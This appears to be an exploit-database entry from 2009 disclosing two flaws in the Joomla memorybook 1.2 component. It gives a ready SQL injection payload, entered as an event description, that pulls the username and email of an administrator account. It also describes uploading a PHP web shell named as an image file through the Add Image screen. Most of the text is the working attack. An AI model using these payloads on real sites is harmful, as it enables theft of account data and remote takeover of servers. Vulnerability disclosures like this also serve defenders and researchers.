Joomla! Component memorybook 1.2 - Multiple Vulnerabilities

Author: jdc
type: webapps
platform: php
port: 
date_added: 2009-12-26 
date_updated:  
verified: 0 
codes: OSVDB-61452;OSVDB-61451 
tags: 
aliases:  
screenshot_url:  
application_url: 

SQL Injection
-------------

requires: magic quotes OFF, user account

Add this as the description of a new event:

'), ( 63,(SELECT CONCAT(username,0x20,email) FROM #__users WHERE gid=25
LIMIT 1),1,1,1) -- '

NOTE: 63 MUST be your Joomla user ID. extracted info can be found on
View Events page


Remote File Inclusion
---------------------

requires: user account

Just upload your PHP shell (shell.jpg.php) through the Add Image screen,
and find it's new URL in the View Images screen.